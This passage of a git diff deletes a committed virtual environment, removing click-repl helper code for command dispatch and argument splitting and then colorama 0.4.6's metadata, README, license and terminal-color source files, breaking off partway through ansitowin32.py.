command.resolve_command(ctx, args) - - if cmd is None: - return ctx - - ctx = cmd.make_context(name, args, parent=ctx, resilient_parsing=True) - args = ctx.protected_args + ctx.args - else: - while args: - name, cmd, args = command.resolve_command(ctx, args) - - if cmd is None: - return ctx - - sub_ctx = cmd.make_context( - name, - args, - parent=ctx, - allow_extra_args=True, - allow_interspersed_args=False, - resilient_parsing=True, - ) - args = sub_ctx.args - - ctx = sub_ctx - args = [*sub_ctx.protected_args, *sub_ctx.args] - else: - break - - return ctx - - -_internal_commands = {} - - -def split_arg_string(string, posix=True): - """Split an argument string as with :func:`shlex.split`, but don't - fail if the string is incomplete. Ignores a missing closing quote or - incomplete escape sequence and uses the partial token as-is. - .. code-block:: python - split_arg_string("example 'my file") - ["example", "my file"] - split_arg_string("example my\\") - ["example", "my"] - :param string: String to split. - """ - - lex = shlex.shlex(string, posix=posix) - lex.whitespace_split = True - lex.commenters = "" - out = [] - - try: - for token in lex: - out.append(token) - except ValueError: - # Raised when end-of-string is reached in an invalid state. Use - # the partial token as-is. The quote or escape character is in - # lex.state, not lex.token. - out.append(lex.token) - - return out - - -def _register_internal_command(names, target, description=None): - if not hasattr(target, "__call__"): - raise ValueError("Internal command must be a callable") - - if isinstance(names, str): - names = [names] - - elif isinstance(names, Mapping) or not isinstance(names, Iterable): - raise ValueError( - '"names" must be a string, or an iterable object, but got "{}"'.format( - type(names).__name__ - ) - ) - - for name in names: - _internal_commands[name] = (target, description) - - -def _get_registered_target(name, default=None): - target_info = _internal_commands.get(name) - if target_info: - return target_info[0] - return default - - -def _exit_internal(): - raise ExitReplException() - - -def _help_internal(): - formatter = click.HelpFormatter() - formatter.write_heading("REPL help") - formatter.indent() - - with formatter.section("External Commands"): - formatter.write_text('prefix external commands with "!"') - - with formatter.section("Internal Commands"): - formatter.write_text('prefix internal commands with ":"') - info_table = defaultdict(list) - - for mnemonic, target_info in _internal_commands.items(): - info_table[target_info[1]].append(mnemonic) - - formatter.write_dl( # type: ignore[arg-type] - ( # type: ignore[arg-type] - ", ".join(map(":{}".format, sorted(mnemonics))), - description, - ) - for description, mnemonics in info_table.items() - ) - - val = formatter.getvalue() # type: str - return val - - -_register_internal_command(["q", "quit", "exit"], _exit_internal, "exits the repl") -_register_internal_command( - ["?", "h", "help"], _help_internal, "displays general help information" -) - - -def _execute_internal_and_sys_cmds( - command, - allow_internal_commands=True, - allow_system_commands=True, -): - """ - Executes internal, system, and all the other registered click commands from the input - """ - if allow_system_commands and dispatch_repl_commands(command): - return None - - if allow_internal_commands: - result = handle_internal_commands(command) - if isinstance(result, str): - click.echo(result) - return None - - try: - return split_arg_string(command) - except ValueError as e: - raise CommandLineParserError("{}".format(e)) - - -def exit(): - """Exit the repl""" - _exit_internal() - - -def dispatch_repl_commands(command): - """ - Execute system commands entered in the repl. - - System commands are all commands starting with "!". - """ - if command.startswith("!"): - os.system(command[1:]) - return True - - return False - - -def handle_internal_commands(command): - """ - Run repl-internal commands. - - Repl-internal commands are all commands starting with ":". - """ - if command.startswith(":"): - target = _get_registered_target(command[1:], default=None) - if target: - return target() diff --git a/venv/Lib/site-packages/colorama-0.4.6.dist-info/INSTALLER b/venv/Lib/site-packages/colorama-0.4.6.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/colorama-0.4.6.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/colorama-0.4.6.dist-info/METADATA b/venv/Lib/site-packages/colorama-0.4.6.dist-info/METADATA deleted file mode 100644 index a1b5c57543005b310ac2efb02243a6b6ab6d8932..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/colorama-0.4.6.dist-info/METADATA +++ /dev/null @@ -1,441 +0,0 @@ -Metadata-Version: 2.1 -Name: colorama -Version: 0.4.6 -Summary: Cross-platform colored terminal text. -Project-URL: Homepage, https://github.com/tartley/colorama -Author-email: Jonathan Hartley -License-File: LICENSE.txt -Keywords: ansi,color,colour,crossplatform,terminal,text,windows,xplatform -Classifier: Development Status :: 5 - Production/Stable -Classifier: Environment :: Console -Classifier: Intended Audience :: Developers -Classifier: License :: OSI Approved :: BSD License -Classifier: Operating System :: OS Independent -Classifier: Programming Language :: Python -Classifier: Programming Language :: Python :: 2 -Classifier: Programming Language :: Python :: 2.7 -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3.7 -Classifier: Programming Language :: Python :: 3.8 -Classifier: Programming Language :: Python :: 3.9 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: Implementation :: CPython -Classifier: Programming Language :: Python :: Implementation :: PyPy -Classifier: Topic :: Terminals -Requires-Python: !=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7 -Description-Content-Type: text/x-rst - -.. image:: https://img.shields.io/pypi/v/colorama.svg - :target: https://pypi.org/project/colorama/ - :alt: Latest Version - -.. image:: https://img.shields.io/pypi/pyversions/colorama.svg - :target: https://pypi.org/project/colorama/ - :alt: Supported Python versions - -.. image:: https://github.com/tartley/colorama/actions/workflows/test.yml/badge.svg - :target: https://github.com/tartley/colorama/actions/workflows/test.yml - :alt: Build Status - -Colorama -======== - -Makes ANSI escape character sequences (for producing colored terminal text and -cursor positioning) work under MS Windows. - -.. |donate| image:: https://www.paypalobjects.com/en_US/i/btn/btn_donate_SM.gif - :target: https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=2MZ9D2GMLYCUJ&item_name=Colorama¤cy_code=USD - :alt: Donate with Paypal - -`PyPI for releases `_ | -`Github for source `_ | -`Colorama for enterprise on Tidelift `_ - -If you find Colorama useful, please |donate| to the authors. Thank you! - -Installation ------------- - -Tested on CPython 2.7, 3.7, 3.8, 3.9 and 3.10 and Pypy 2.7 and 3.8. - -No requirements other than the standard library. - -.. code-block:: bash - - pip install colorama - # or - conda install -c anaconda colorama - -Description ------------ - -ANSI escape character sequences have long been used to produce colored terminal -text and cursor positioning on Unix and Macs. Colorama makes this work on -Windows, too, by wrapping ``stdout``, stripping ANSI sequences it finds (which -would appear as gobbledygook in the output), and converting them into the -appropriate win32 calls to modify the state of the terminal. On other platforms, -Colorama does nothing. - -This has the upshot of providing a simple cross-platform API for printing -colored terminal text from Python, and has the happy side-effect that existing -applications or libraries which use ANSI sequences to produce colored output on -Linux or Macs can now also work on Windows, simply by calling -``colorama.just_fix_windows_console()`` (since v0.4.6) or ``colorama.init()`` -(all versions, but may have other side-effects – see below). - -An alternative approach is to install ``ansi.sys`` on Windows machines, which -provides the same behaviour for all applications running in terminals. Colorama -is intended for situations where that isn't easy (e.g., maybe your app doesn't -have an installer.) - -Demo scripts in the source code repository print some colored text using -ANSI sequences. Compare their output under Gnome-terminal's built in ANSI -handling, versus on Windows Command-Prompt using Colorama: - -.. image:: https://github.com/tartley/colorama/raw/master/screenshots/ubuntu-demo.png - :width: 661 - :height: 357 - :alt: ANSI sequences on Ubuntu under gnome-terminal. - -.. image:: https://github.com/tartley/colorama/raw/master/screenshots/windows-demo.png - :width: 668 - :height: 325 - :alt: Same ANSI sequences on Windows, using Colorama. - -These screenshots show that, on Windows, Colorama does not support ANSI 'dim -text'; it looks the same as 'normal text'. - -Usage ------ - -Initialisation -.............. - -If the only thing you want from Colorama is to get ANSI escapes to work on -Windows, then run: - -.. code-block:: python - - from colorama import just_fix_windows_console - just_fix_windows_console() - -If you're on a recent version of Windows 10 or better, and your stdout/stderr -are pointing to a Windows console, then this will flip the magic configuration -switch to enable Windows' built-in ANSI support. - -If you're on an older version of Windows, and your stdout/stderr are pointing to -a Windows console, then this will wrap ``sys.stdout`` and/or ``sys.stderr`` in a -magic file object that intercepts ANSI escape sequences and issues the -appropriate Win32 calls to emulate them. - -In all other circumstances, it does nothing whatsoever. Basically the idea is -that this makes Windows act like Unix with respect to ANSI escape handling. - -It's safe to call this function multiple times. It's safe to call this function -on non-Windows platforms, but it won't do anything. It's safe to call this -function when one or both of your stdout/stderr are redirected to a file – it -won't do anything to those streams. - -Alternatively, you can use the older interface with more features (but also more -potential footguns): - -.. code-block:: python - - from colorama import init - init() - -This does the same thing as ``just_fix_windows_console``, except for the -following differences: - -- It's not safe to call ``init`` multiple times; you can end up with multiple - layers of wrapping and broken ANSI support. - -- Colorama will apply a heuristic to guess whether stdout/stderr support ANSI, - and if it thinks they don't, then it will wrap ``sys.stdout`` and - ``sys.stderr`` in a magic file object that strips out ANSI escape sequences - before printing them. This happens on all platforms, and can be convenient if - you want to write your code to emit ANSI escape sequences unconditionally, and - let Colorama decide whether they should actually be output. But note that - Colorama's heuristic is not particularly clever. - -- ``init`` also accepts explicit keyword args to enable/disable various - functionality – see below. - -To stop using Colorama before your program exits, simply call ``deinit()``. -This will restore ``stdout`` and ``stderr`` to their original values, so that -Colorama is disabled. To resume using Colorama again, call ``reinit()``; it is -cheaper than calling ``init()`` again (but does the same thing). - -Most users should depend on ``colorama >= 0.4.6``, and use -``just_fix_windows_console``. The old ``init`` interface will be supported -indefinitely for backwards compatibility, but we don't plan to fix any issues -with it, also for backwards compatibility. - -Colored Output -.............. - -Cross-platform printing of colored text can then be done using Colorama's -constant shorthand for ANSI escape sequences. These are deliberately -rudimentary, see below. - -.. code-block:: python - - from colorama import Fore, Back, Style - print(Fore.RED + 'some red text') - print(Back.GREEN + 'and with a green background') - print(Style.DIM + 'and in dim text') - print(Style.RESET_ALL) - print('back to normal now') - -...or simply by manually printing ANSI sequences from your own code: - -.. code-block:: python - - print('\033[31m' + 'some red text') - print('\033[39m') # and reset to default color - -...or, Colorama can be used in conjunction with existing ANSI libraries -such as the venerable `Termcolor `_ -the fabulous `Blessings `_, -or the incredible `_Rich `_. - -If you wish Colorama's Fore, Back and Style constants were more capable, -then consider using one of the above highly capable libraries to generate -colors, etc, and use Colorama just for its primary purpose: to convert -those ANSI sequences to also work on Windows: - -SIMILARLY, do not send PRs adding the generation of new ANSI types to Colorama. -We are only interested in converting ANSI codes to win32 API calls, not -shortcuts like the above to generate ANSI characters. - -.. code-block:: python - - from colorama import just_fix_windows_console - from termcolor import colored - - # use Colorama to make Termcolor work on Windows too - just_fix_windows_console() - - # then use Termcolor for all colored text output - print(colored('Hello, World!', 'green', 'on_red')) - -Available formatting constants are:: - - Fore: BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE, RESET. - Back: BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE, RESET. - Style: DIM, NORMAL, BRIGHT, RESET_ALL - -``Style.RESET_ALL`` resets foreground, background, and brightness. Colorama will -perform this reset automatically on program exit. - -These are fairly well supported, but not part of the standard:: - - Fore: LIGHTBLACK_EX, LIGHTRED_EX, LIGHTGREEN_EX, LIGHTYELLOW_EX, LIGHTBLUE_EX, LIGHTMAGENTA_EX, LIGHTCYAN_EX, LIGHTWHITE_EX - Back: LIGHTBLACK_EX, LIGHTRED_EX, LIGHTGREEN_EX, LIGHTYELLOW_EX, LIGHTBLUE_EX, LIGHTMAGENTA_EX, LIGHTCYAN_EX, LIGHTWHITE_EX - -Cursor Positioning -.................. - -ANSI codes to reposition the cursor are supported. See ``demos/demo06.py`` for -an example of how to generate them. - -Init Keyword Args -................. - -``init()`` accepts some ``**kwargs`` to override default behaviour. - -init(autoreset=False): - If you find yourself repeatedly sending reset sequences to turn off color - changes at the end of every print, then ``init(autoreset=True)`` will - automate that: - - .. code-block:: python - - from colorama import init - init(autoreset=True) - print(Fore.RED + 'some red text') - print('automatically back to default color again') - -init(strip=None): - Pass ``True`` or ``False`` to override whether ANSI codes should be - stripped from the output. The default behaviour is to strip if on Windows - or if output is redirected (not a tty). - -init(convert=None): - Pass ``True`` or ``False`` to override whether to convert ANSI codes in the - output into win32 calls. The default behaviour is to convert if on Windows - and output is to a tty (terminal). - -init(wrap=True): - On Windows, Colorama works by replacing ``sys.stdout`` and ``sys.stderr`` - with proxy objects, which override the ``.write()`` method to do their work. - If this wrapping causes you problems, then this can be disabled by passing - ``init(wrap=False)``. The default behaviour is to wrap if ``autoreset`` or - ``strip`` or ``convert`` are True. - - When wrapping is disabled, colored printing on non-Windows platforms will - continue to work as normal. To do cross-platform colored output, you can - use Colorama's ``AnsiToWin32`` proxy directly: - - .. code-block:: python - - import sys - from colorama import init, AnsiToWin32 - init(wrap=False) - stream = AnsiToWin32(sys.stderr).stream - - # Python 2 - print >>stream, Fore.BLUE + 'blue text on stderr' - - # Python 3 - print(Fore.BLUE + 'blue text on stderr', file=stream) - -Recognised ANSI Sequences -......................... - -ANSI sequences generally take the form:: - - ESC [ ; ... - -Where ```` is an integer, and ```` is a single letter. Zero or -more params are passed to a ````. If no params are passed, it is -generally synonymous with passing a single zero. No spaces exist in the -sequence; they have been inserted here simply to read more easily. - -The only ANSI sequences that Colorama converts into win32 calls are:: - - ESC [ 0 m # reset all (colors and brightness) - ESC [ 1 m # bright - ESC [ 2 m # dim (looks same as normal brightness) - ESC [ 22 m # normal brightness - - # FOREGROUND: - ESC [ 30 m # black - ESC [ 31 m # red - ESC [ 32 m # green - ESC [ 33 m # yellow - ESC [ 34 m # blue - ESC [ 35 m # magenta - ESC [ 36 m # cyan - ESC [ 37 m # white - ESC [ 39 m # reset - - # BACKGROUND - ESC [ 40 m # black - ESC [ 41 m # red - ESC [ 42 m # green - ESC [ 43 m # yellow - ESC [ 44 m # blue - ESC [ 45 m # magenta - ESC [ 46 m # cyan - ESC [ 47 m # white - ESC [ 49 m # reset - - # cursor positioning - ESC [ y;x H # position cursor at x across, y down - ESC [ y;x f # position cursor at x across, y down - ESC [ n A # move cursor n lines up - ESC [ n B # move cursor n lines down - ESC [ n C # move cursor n characters forward - ESC [ n D # move cursor n characters backward - - # clear the screen - ESC [ mode J # clear the screen - - # clear the line - ESC [ mode K # clear the line - -Multiple numeric params to the ``'m'`` command can be combined into a single -sequence:: - - ESC [ 36 ; 45 ; 1 m # bright cyan text on magenta background - -All other ANSI sequences of the form ``ESC [ ; ... `` -are silently stripped from the output on Windows. - -Any other form of ANSI sequence, such as single-character codes or alternative -initial characters, are not recognised or stripped. It would be cool to add -them though. Let me know if it would be useful for you, via the Issues on -GitHub. - -Status & Known Problems ------------------------ - -I've personally only tested it on Windows XP (CMD, Console2), Ubuntu -(gnome-terminal, xterm), and OS X. - -Some valid ANSI sequences aren't recognised. - -If you're hacking on the code, see `README-hacking.md`_. ESPECIALLY, see the -explanation there of why we do not want PRs that allow Colorama to generate new -types of ANSI codes. - -See outstanding issues and wish-list: -https://github.com/tartley/colorama/issues - -If anything doesn't work for you, or doesn't do what you expected or hoped for, -I'd love to hear about it on that issues list, would be delighted by patches, -and would be happy to grant commit access to anyone who submits a working patch -or two. - -.. _README-hacking.md: README-hacking.md - -License -------- - -Copyright Jonathan Hartley & Arnon Yaari, 2013-2020. BSD 3-Clause license; see -LICENSE file. - -Professional support --------------------- - -.. |tideliftlogo| image:: https://cdn2.hubspot.net/hubfs/4008838/website/logos/logos_for_download/Tidelift_primary-shorthand-logo.png - :alt: Tidelift - :target: https://tidelift.com/subscription/pkg/pypi-colorama?utm_source=pypi-colorama&utm_medium=referral&utm_campaign=readme - -.. list-table:: - :widths: 10 100 - - * - |tideliftlogo| - - Professional support for colorama is available as part of the - `Tidelift Subscription`_. - Tidelift gives software development teams a single source for purchasing - and maintaining their software, with professional grade assurances from - the experts who know it best, while seamlessly integrating with existing - tools. - -.. _Tidelift Subscription: https://tidelift.com/subscription/pkg/pypi-colorama?utm_source=pypi-colorama&utm_medium=referral&utm_campaign=readme - -Thanks ------- - -See the CHANGELOG for more thanks! - -* Marc Schlaich (schlamar) for a ``setup.py`` fix for Python2.5. -* Marc Abramowitz, reported & fixed a crash on exit with closed ``stdout``, - providing a solution to issue #7's setuptools/distutils debate, - and other fixes. -* User 'eryksun', for guidance on correctly instantiating ``ctypes.windll``. -* Matthew McCormick for politely pointing out a longstanding crash on non-Win. -* Ben Hoyt, for a magnificent fix under 64-bit Windows. -* Jesse at Empty Square for submitting a fix for examples in the README. -* User 'jamessp', an observant documentation fix for cursor positioning. -* User 'vaal1239', Dave Mckee & Lackner Kristof for a tiny but much-needed Win7 - fix. -* Julien Stuyck, for wisely suggesting Python3 compatible updates to README. -* Daniel Griffith for multiple fabulous patches. -* Oscar Lesta for a valuable fix to stop ANSI chars being sent to non-tty - output. -* Roger Binns, for many suggestions, valuable feedback, & bug reports. -* Tim Golden for thought and much appreciated feedback on the initial idea. -* User 'Zearin' for updates to the README file. -* John Szakmeister for adding support for light colors -* Charles Merriam for adding documentation to demos -* Jurko for a fix on 64-bit Windows CPython2.5 w/o ctypes -* Florian Bruhin for a fix when stdout or stderr are None -* Thomas Weininger for fixing ValueError on Windows -* Remi Rampin for better Github integration and fixes to the README file -* Simeon Visser for closing a file handle using 'with' and updating classifiers - to include Python 3.3 and 3.4 -* Andy Neff for fixing RESET of LIGHT_EX colors. -* Jonathan Hartley for the initial idea and implementation. diff --git a/venv/Lib/site-packages/colorama-0.4.6.dist-info/RECORD b/venv/Lib/site-packages/colorama-0.4.6.dist-info/RECORD deleted file mode 100644 index 879dc218bfe237943bbfda7e90a271ff39d347b2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/colorama-0.4.6.dist-info/RECORD +++ /dev/null @@ -1,31 +0,0 @@ -colorama-0.4.6.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -colorama-0.4.6.dist-info/METADATA,sha256=e67SnrUMOym9sz_4TjF3vxvAV4T3aF7NyqRHHH3YEMw,17158 -colorama-0.4.6.dist-info/RECORD,, -colorama-0.4.6.dist-info/WHEEL,sha256=cdcF4Fbd0FPtw2EMIOwH-3rSOTUdTCeOSXRMD1iLUb8,105 -colorama-0.4.6.dist-info/licenses/LICENSE.txt,sha256=ysNcAmhuXQSlpxQL-zs25zrtSWZW6JEQLkKIhteTAxg,1491 -colorama/__init__.py,sha256=wePQA4U20tKgYARySLEC047ucNX-g8pRLpYBuiHlLb8,266 -colorama/__pycache__/__init__.cpython-314.pyc,, -colorama/__pycache__/ansi.cpython-314.pyc,, -colorama/__pycache__/ansitowin32.cpython-314.pyc,, -colorama/__pycache__/initialise.cpython-314.pyc,, -colorama/__pycache__/win32.cpython-314.pyc,, -colorama/__pycache__/winterm.cpython-314.pyc,, -colorama/ansi.py,sha256=Top4EeEuaQdBWdteKMEcGOTeKeF19Q-Wo_6_Cj5kOzQ,2522 -colorama/ansitowin32.py,sha256=vPNYa3OZbxjbuFyaVo0Tmhmy1FZ1lKMWCnT7odXpItk,11128 -colorama/initialise.py,sha256=-hIny86ClXo39ixh5iSCfUIa2f_h_bgKRDW7gqs-KLU,3325 -colorama/tests/__init__.py,sha256=MkgPAEzGQd-Rq0w0PZXSX2LadRWhUECcisJY8lSrm4Q,75 -colorama/tests/__pycache__/__init__.cpython-314.pyc,, -colorama/tests/__pycache__/ansi_test.cpython-314.pyc,, -colorama/tests/__pycache__/ansitowin32_test.cpython-314.pyc,, -colorama/tests/__pycache__/initialise_test.cpython-314.pyc,, -colorama/tests/__pycache__/isatty_test.cpython-314.pyc,, -colorama/tests/__pycache__/utils.cpython-314.pyc,, -colorama/tests/__pycache__/winterm_test.cpython-314.pyc,, -colorama/tests/ansi_test.py,sha256=FeViDrUINIZcr505PAxvU4AjXz1asEiALs9GXMhwRaE,2839 -colorama/tests/ansitowin32_test.py,sha256=RN7AIhMJ5EqDsYaCjVo-o4u8JzDD4ukJbmevWKS70rY,10678 -colorama/tests/initialise_test.py,sha256=BbPy-XfyHwJ6zKozuQOvNvQZzsx9vdb_0bYXn7hsBTc,6741 -colorama/tests/isatty_test.py,sha256=Pg26LRpv0yQDB5Ac-sxgVXG7hsA1NYvapFgApZfYzZg,1866 -colorama/tests/utils.py,sha256=1IIRylG39z5-dzq09R_ngufxyPZxgldNbrxKxUGwGKE,1079 -colorama/tests/winterm_test.py,sha256=qoWFPEjym5gm2RuMwpf3pOis3a5r_PJZFCzK254JL8A,3709 -colorama/win32.py,sha256=YQOKwMTwtGBbsY4dL5HYTvwTeP9wIQra5MvPNddpxZs,6181 -colorama/winterm.py,sha256=XCQFDHjPi6AHYNdZwy0tA02H-Jh48Jp-HvCjeLeLp3U,7134 diff --git a/venv/Lib/site-packages/colorama-0.4.6.dist-info/WHEEL b/venv/Lib/site-packages/colorama-0.4.6.dist-info/WHEEL deleted file mode 100644 index d79189fda3251187de18c3998f23ae6fec11b20f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/colorama-0.4.6.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: hatchling 1.11.1 -Root-Is-Purelib: true -Tag: py2-none-any -Tag: py3-none-any diff --git a/venv/Lib/site-packages/colorama-0.4.6.dist-info/licenses/LICENSE.txt b/venv/Lib/site-packages/colorama-0.4.6.dist-info/licenses/LICENSE.txt deleted file mode 100644 index 3105888ec149d10cad51c11d332779e94b548661..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/colorama-0.4.6.dist-info/licenses/LICENSE.txt +++ /dev/null @@ -1,27 +0,0 @@ -Copyright (c) 2010 Jonathan Hartley -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. - -* Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - -* Neither the name of the copyright holders, nor those of its contributors - may be used to endorse or promote products derived from this software without - specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/venv/Lib/site-packages/colorama/__init__.py b/venv/Lib/site-packages/colorama/__init__.py deleted file mode 100644 index 383101cdb38706c305449674044e9288b92b7d75..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/colorama/__init__.py +++ /dev/null @@ -1,7 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. -from .initialise import init, deinit, reinit, colorama_text, just_fix_windows_console -from .ansi import Fore, Back, Style, Cursor -from .ansitowin32 import AnsiToWin32 - -__version__ = '0.4.6' - diff --git a/venv/Lib/site-packages/colorama/ansi.py b/venv/Lib/site-packages/colorama/ansi.py deleted file mode 100644 index 11ec695ff79627463a0282d25079527562de9e42..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/colorama/ansi.py +++ /dev/null @@ -1,102 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. -''' -This module generates ANSI character codes to printing colors to terminals. -See: http://en.wikipedia.org/wiki/ANSI_escape_code -''' - -CSI = '\033[' -OSC = '\033]' -BEL = '\a' - - -def code_to_chars(code): - return CSI + str(code) + 'm' - -def set_title(title): - return OSC + '2;' + title + BEL - -def clear_screen(mode=2): - return CSI + str(mode) + 'J' - -def clear_line(mode=2): - return CSI + str(mode) + 'K' - - -class AnsiCodes(object): - def __init__(self): - # the subclasses declare class attributes which are numbers. - # Upon instantiation we define instance attributes, which are the same - # as the class attributes but wrapped with the ANSI escape sequence - for name in dir(self): - if not name.startswith('_'): - value = getattr(self, name) - setattr(self, name, code_to_chars(value)) - - -class AnsiCursor(object): - def UP(self, n=1): - return CSI + str(n) + 'A' - def DOWN(self, n=1): - return CSI + str(n) + 'B' - def FORWARD(self, n=1): - return CSI + str(n) + 'C' - def BACK(self, n=1): - return CSI + str(n) + 'D' - def POS(self, x=1, y=1): - return CSI + str(y) + ';' + str(x) + 'H' - - -class AnsiFore(AnsiCodes): - BLACK = 30 - RED = 31 - GREEN = 32 - YELLOW = 33 - BLUE = 34 - MAGENTA = 35 - CYAN = 36 - WHITE = 37 - RESET = 39 - - # These are fairly well supported, but not part of the standard. - LIGHTBLACK_EX = 90 - LIGHTRED_EX = 91 - LIGHTGREEN_EX = 92 - LIGHTYELLOW_EX = 93 - LIGHTBLUE_EX = 94 - LIGHTMAGENTA_EX = 95 - LIGHTCYAN_EX = 96 - LIGHTWHITE_EX = 97 - - -class AnsiBack(AnsiCodes): - BLACK = 40 - RED = 41 - GREEN = 42 - YELLOW = 43 - BLUE = 44 - MAGENTA = 45 - CYAN = 46 - WHITE = 47 - RESET = 49 - - # These are fairly well supported, but not part of the standard. - LIGHTBLACK_EX = 100 - LIGHTRED_EX = 101 - LIGHTGREEN_EX = 102 - LIGHTYELLOW_EX = 103 - LIGHTBLUE_EX = 104 - LIGHTMAGENTA_EX = 105 - LIGHTCYAN_EX = 106 - LIGHTWHITE_EX = 107 - - -class AnsiStyle(AnsiCodes): - BRIGHT = 1 - DIM = 2 - NORMAL = 22 - RESET_ALL = 0 - -Fore = AnsiFore() -Back = AnsiBack() -Style = AnsiStyle() -Cursor = AnsiCursor() diff --git a/venv/Lib/site-packages/colorama/ansitowin32.py b/venv/Lib/site-packages/colorama/ansitowin32.py deleted file mode 100644 index abf209e60c7c4a9b1ae57452e36b383969848c2e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/colorama/ansitowin32.py +++ /dev/null @@ -1,277 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. -import re -import sys -import os - -from .ansi import AnsiFore, AnsiBack, AnsiStyle, Style, BEL -from .winterm import enable_vt_processing, WinTerm, WinColor, WinStyle -from .win32 import windll, winapi_test - - -winterm = None -if windll is not None: - winterm = WinTerm() - - -class StreamWrapper(object): - ''' - Wraps a stream (such as stdout), acting as a transparent proxy for all - attribute access apart from method 'write()', which is delegated to our - Converter instance. - ''' - def __init__(self, wrapped, converter): - # double-underscore everything to prevent clashes with names of - # attributes on the wrapped stream object. - self.__wrapped = wrapped - self.__convertor = converter - - def __getattr__(self, name): - return getattr(self.__wrapped, name) - - def __enter__(self, *args, **kwargs): - # special method lookup bypasses __getattr__/__getattribute__, see - # https://stackoverflow.com/questions/12632894/why-doesnt-getattr-work-with-exit - # thus, contextlib magic methods are not proxied via __getattr__ - return self.__wrapped.__enter__(*args, **kwargs) - - def __exit__(self, *args, **kwargs): - return self.__wrapped.__exit__(*args, **kwargs) - - def __setstate__(self, state): - self.__dict__ = state - - def __getstate__(self): - return self.__dict__ - - def write(self, text): - self.__convertor.write(text) - - def isatty(self): - stream = self.__wrapped - if 'PYCHARM_HOSTED' in os.environ: - if stream is not None and (stream is sys.__stdout__ or stream is sys.__stderr__): - return True - try: - stream_isatty = stream.isatty - except AttributeError: - return False - else: - return stream_isatty() - - @property - def closed(self): - stream = self.__wrapped - try: - return stream.closed - # AttributeError in the case that the stream doesn't support being closed - # ValueError for the case that the stream has already been detached when atexit runs - except (AttributeError, ValueError): - return True - - -class AnsiToWin32(object): - ''' - Implements a 'write()' method which, on Windows, will strip ANSI character - sequences from the text, and if outputting to a tty, will convert them into - win32 function calls. - ''' - ANSI_CSI_RE = re.compile('\001?\033\\[((?:\\d|;)*)([a-zA-Z])\002?') # Control Sequence Introducer - ANSI_OSC_RE = re.compile('\001?\033\\]([^\a]*)(\a)\002?') # Operating System Command - - def __init__(self, wrapped, convert=None, strip=None, autoreset=False): - # The wrapped stream (normally sys.stdout or sys.stderr) - self.wrapped = wrapped - - # should we reset colors to defaults after every .write() - self.autoreset = autoreset - - # create the proxy wrapping our output stream - self.stream = StreamWrapper(wrapped, self) - - on_windows = os.name == 'nt' - # We test if the WinAPI works, because even if we are on Windows - # we may be using a terminal that doesn't support the WinAPI - # (e.g. Cygwin Terminal). In this case it's up to the terminal - # to support the ANSI codes. - conversion_supported = on_windows and winapi_test() - try: - fd = wrapped.fileno() - except Exception: - fd = -1 - system_has_native_ansi = not on_windows or enable_vt_processing(fd) - have_tty = not self.stream.closed and self.stream.isatty() - need_conversion = conversion_supported and not system_has_native_ansi - - # should we strip ANSI sequences from our output? - if strip is None: - strip = need_conversion or not have_tty - self.strip = strip - - # should we should convert ANSI sequences into win32 calls? - if convert is None: - convert = need_conversion and have_tty - self.convert = convert - - # dict of ansi codes to win32 functions and parameters - self.win32_calls = self.get_win32_calls() - - # are we wrapping stderr? - self.on_stderr = self.wrapped is sys.stderr - - def should_wrap(self): - ''' - True if this class is actually needed. If false, then the output - stream will not be affected, nor will win32 calls be issued, so - wrapping stdout is not actually required. This will generally be - False on non-Windows platforms, unless optional functionality like - autoreset has been requested using kwargs to init() - ''' - return self.convert or self.strip or self.autoreset - - def get_win32_calls(self): - if self.convert and winterm: - return { - AnsiStyle.RESET_ALL: (winterm.reset_all, ), - AnsiStyle.BRIGHT: (winterm.style, WinStyle.BRIGHT), - AnsiStyle.DIM: (winterm.style, WinStyle.NORMAL), - 